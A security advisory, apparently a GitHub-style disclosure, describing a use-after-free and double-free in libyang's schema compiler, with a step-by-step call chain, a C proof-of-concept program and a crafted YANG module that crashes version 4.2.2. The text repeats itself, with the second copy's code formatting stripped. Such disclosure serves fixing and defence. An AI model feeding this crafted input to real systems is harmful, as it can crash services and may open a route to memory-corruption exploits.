Summary
A use-after-free (and subsequent double-free) vulnerability in libyang's schema compiler allows an attacker who can supply a crafted YANG module to crash the parser or potentially execute arbitrary code. Parsing a module containing a union typedef with a leafref member and an out-of-range default value causes the compiled default's storage to be freed twice: once inside the union type plugin's error path, then again by the caller.
Details
The bug is a lifecycle mismatch between lyplg_type_store_union() (in src/plugins_types/union.c) and its caller lys_compile_unres_dflt() (in src/schema_compile.c). Both functions attempt to free the same lyd_value storage on error, but the caller also dereferences it after it has already been freed.
Step-by-step call chain:
-
During schema compilation, lys_compile_unres_dflt() (schema_compile.c:899) calls the union type plugin's store callback to validate the default value "999" against the union type.
-
lyplg_type_store_union() (union.c:464) allocates a lyd_value_union subvalue via LYPLG_TYPE_VAL_INLINE_PREPARE(). Because sizeof(struct lyd_value_union) (~88 bytes) exceeds LYD_VALUE_FIXED_MEM_SIZE (24 bytes), the subvalue is heap-allocated via calloc and stored in storage->dyn_mem (which aliases storage->subvalue).
-
union_find_type() (union.c:323) iterates through the union's member types trying to store "999":
- leafref member → resolves to
int8 → store fails (999 > 127)
- int8 member → store fails (999 > 127)
- All members fail; returns
LY_EVALID.
-
Back in lyplg_type_store_union() at line 519-520, the error path calls lyplg_type_free_union(ctx, storage), which:
- Frees
val->original (the stored copy of "999")
- Calls
LYPLG_TYPE_VAL_INLINE_DESTROY(val) → free(val) — frees the heap-allocated subvalue struct
- Critically, does not null out
storage->dyn_mem/storage->subvalue — these now dangle.
-
Control returns to lys_compile_unres_dflt(). At the cleanup: label (schema_compile.c:937-949):
cleanup:
if (storage.realtype->basetype == LY_TYPE_UNION) {
val = &storage.subvalue->value; // ← UAF: storage.subvalue is freed memory
}
// ...
type_plg->free(ctx->ctx, &storage); // ← DOUBLE-FREE: frees already-freed subvalue again
- Line 939:
storage.subvalue is a dangling pointer (freed in step 4). Dereferencing it to read ->value is a use-after-free.
- Line 949:
type_plg->free() calls lyplg_type_free_union() a second time, which calls free() on the already-freed subvalue — a double-free.
The root cause is that lyplg_type_store_union() frees the storage internals on error (line 520), but lys_compile_unres_dflt() unconditionally accesses and re-frees them in its cleanup block (lines 938-949) without checking whether the store function already cleaned up.
PoC
Compile and run libyang_uaf1.c against libyang v4.2.2:
#include <stdio.h>
#include <stdlib.h>
#include "libyang.h"
static const char *yang_module =
"module test {\n"
" namespace \"urn:test\";\n"
" prefix t;\n"
" leaf target { type int8; }\n"
" typedef union-leafref {\n"
" type union {\n"
" type leafref { path \"/target\"; }\n"
" type int8;\n"
" }\n"
" }\n"
" leaf test-leaf {\n"
" type union-leafref;\n"
" default \"999\";\n"
" }\n"
"}\n";
int main(void) {
struct ly_ctx *ctx = NULL;
struct lys_module *module = NULL;
ly_log_options(0);
ly_ctx_new(NULL, 0, &ctx);
lys_parse_mem(ctx, yang_module, LYS_IN_YANG, &module);
ly_ctx_destroy(ctx);
}
YANG module:
module test {
namespace "urn:test";
prefix t;
leaf target {
type int8;
}
typedef union-leafref {
type union {
type leafref {
path "/target";
}
type int8;
}
}
leaf test-leaf {
type union-leafref;
default "999";
}
}
Impact
Use-after-free / Double free can be used to hijack control flow and cause other memory corruption issues.
Summary
A use-after-free (and subsequent double-free) vulnerability in libyang's schema compiler allows an attacker who can supply a crafted YANG module to crash the parser or potentially execute arbitrary code. Parsing a module containing a union typedef with a leafref member and an out-of-range default value causes the compiled default's storage to be freed twice: once inside the union type plugin's error path, then again by the caller.
Details
The bug is a lifecycle mismatch between
lyplg_type_store_union()(insrc/plugins_types/union.c) and its callerlys_compile_unres_dflt()(insrc/schema_compile.c). Both functions attempt to free the samelyd_value storageon error, but the caller also dereferences it after it has already been freed.Step-by-step call chain:
During schema compilation,
lys_compile_unres_dflt()(schema_compile.c:899) calls the union type plugin'sstorecallback to validate the default value"999"against the union type.lyplg_type_store_union()(union.c:464) allocates alyd_value_unionsubvalue viaLYPLG_TYPE_VAL_INLINE_PREPARE(). Becausesizeof(struct lyd_value_union)(~88 bytes) exceedsLYD_VALUE_FIXED_MEM_SIZE(24 bytes), the subvalue is heap-allocated viacallocand stored instorage->dyn_mem(which aliasesstorage->subvalue).union_find_type()(union.c:323) iterates through the union's member types trying to store"999":int8→ store fails (999 > 127)LY_EVALID.Back in
lyplg_type_store_union()at line 519-520, the error path callslyplg_type_free_union(ctx, storage), which:val->original(the stored copy of"999")LYPLG_TYPE_VAL_INLINE_DESTROY(val)→free(val)— frees the heap-allocated subvalue structstorage->dyn_mem/storage->subvalue— these now dangle.Control returns to
lys_compile_unres_dflt(). At thecleanup:label (schema_compile.c:937-949):storage.subvalueis a dangling pointer (freed in step 4). Dereferencing it to read->valueis a use-after-free.type_plg->free()callslyplg_type_free_union()a second time, which callsfree()on the already-freed subvalue — a double-free.The root cause is that
lyplg_type_store_union()frees the storage internals on error (line 520), butlys_compile_unres_dflt()unconditionally accesses and re-frees them in its cleanup block (lines 938-949) without checking whether the store function already cleaned up.PoC
Compile and run
libyang_uaf1.cagainst libyang v4.2.2:YANG module:
Impact
Use-after-free / Double free can be used to hijack control flow and cause other memory corruption issues.